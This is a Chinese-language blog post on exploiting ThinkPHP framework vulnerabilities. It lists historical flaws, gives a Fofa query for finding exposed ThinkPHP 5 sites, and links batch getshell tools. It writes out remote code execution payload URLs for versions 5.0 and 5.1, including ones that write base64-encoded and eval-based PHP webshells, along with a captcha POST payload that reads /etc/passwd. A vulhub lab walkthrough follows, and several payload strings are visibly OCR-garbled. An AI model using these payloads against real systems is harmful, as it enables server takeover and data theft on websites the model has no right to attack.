15 ThinkPhp漏洞介绍及利用

简介: Thinkphp介绍Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所thinkphp出问题的话,会影响很多基于thinkphp开发的网站。


ThinkPhp应用

CMS已经搭建好的网站源码

 

 

Thinkphp历史漏洞

ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell ThinkPHP5_SQL注入漏洞&&敏感信息泄露 ThinkPHP3.2.3_最新版update注入漏洞 ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell ThinkPHP3.2.X_find_select_delete注入 ThinkPHP框架5.0.X_sql注入漏洞分析 ThinkPHP3.X_order_by注入漏洞 ThinkPHP5.X_order_by注入漏洞 ThinkPHP5.X 远程代码执行

 

 

Fofa收集特征

Thinkphph V5

"thinkphp"&& icon_hash="1165838194"&&country!="CNY

纯文本

 

输入/?s=1

出现错误

 

 

批量检测工具

https://github.com/Lucifer1993/TPscan
https://github.com/theLSA/tp5-getshell

 

 

 

 

ThinkPhp漏洞利用

5.0版本

| /index.php?s=index/Athink app/invokefunction&function=call user func array&vars[O]=system&vars[1]]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== |base64 -d >shell9.php

5.1版本

/index.php?s=index/Athinklapp/invokefunction&function=call_user_func_array&vars[0]=system&v ars[1][]=whoami /index.php?s=index/Athink\Request/input&filter=phpinfo&data=1/index.php?s=index/(think\Request/input&filter=system&data=id(dir Is) Gindex.php?s=indexAthink\template driver\file/write&cacheFile=shell.php&content=%3C?php%20 phpinfo0;?%3E /index.php?s=index/Athink\view driver\Php/display&content=%3C?php%20phpinfo0:?%3E /index.php?s=index/Athink\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&v ars[1]0=1

纯文本

 

 

 

 

 

漏洞复现

攻击机kaliip:

环境:vulhub-master

image.png

访问漏洞环境:


image.png 

 

输入?s=1

image.png


kali中查询thinkphppoc

searchsploit thinkphp


image.png

searchsploit -p 46150.txt
cat  path
路径



image.png



 

 

post提交数据

image.png



POST:/index.php?s=captcha
_method
=_construct&fiter[]=system&method=get&server[REQUESTMETHOD]=cat /etc/passwd

纯文本

 

 

 

写入一句话木马

POST:/index.php?s=captcha
_method
=_construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php
eval
(\$_POST['cmd']);?>">1.php


 

 

dock创建交互命令

docker esec -it id fa......./bin/bash


image.png



 

 

相关文章
|
2月前
|
安全 Linux PHP
【攻防世界】php_rce (ThinkPHP5)
【攻防世界】php_rce (ThinkPHP5)
|
8月前
|
安全 Linux PHP
#Thinkphp5.x漏洞
#Thinkphp5.x漏洞
49 0
|
SQL 安全
WEB常见漏洞之SQL注入(靶场篇—4)3
WEB常见漏洞之SQL注入(靶场篇—4)
93 0
WEB常见漏洞之SQL注入(靶场篇—4)3
|
安全 PHP
Thinkphp5.0.0-5.0.18 RCE分析
本篇文章基于thinkphp5.*框架,分析两种payload的构成以及执行流程
|
安全 调度 PHP
Thinkphp5.0.*之RCE漏洞分析
Thinkphp5.0.*之RCE漏洞分析
|
SQL 安全 关系型数据库
WEB常见漏洞之SQL注入(靶场篇—2)2
WEB常见漏洞之SQL注入(靶场篇—2)2
80 0
|
SQL 安全 关系型数据库
WEB常见漏洞之SQL注入(靶场篇—3)4
WEB常见漏洞之SQL注入(靶场篇—3)
97 0
|
SQL 安全 关系型数据库
WEB常见漏洞之SQL注入(靶场篇—2)4
WEB常见漏洞之SQL注入(靶场篇—2)4
63 0
|
SQL 安全 关系型数据库
WEB常见漏洞之SQL注入(靶场篇—4)1
WEB常见漏洞之SQL注入(靶场篇—4)
96 0
|
SQL 安全 关系型数据库
WEB常见漏洞之SQL注入(靶场篇—4)4
WEB常见漏洞之SQL注入(靶场篇—4)
112 0

热门文章

最新文章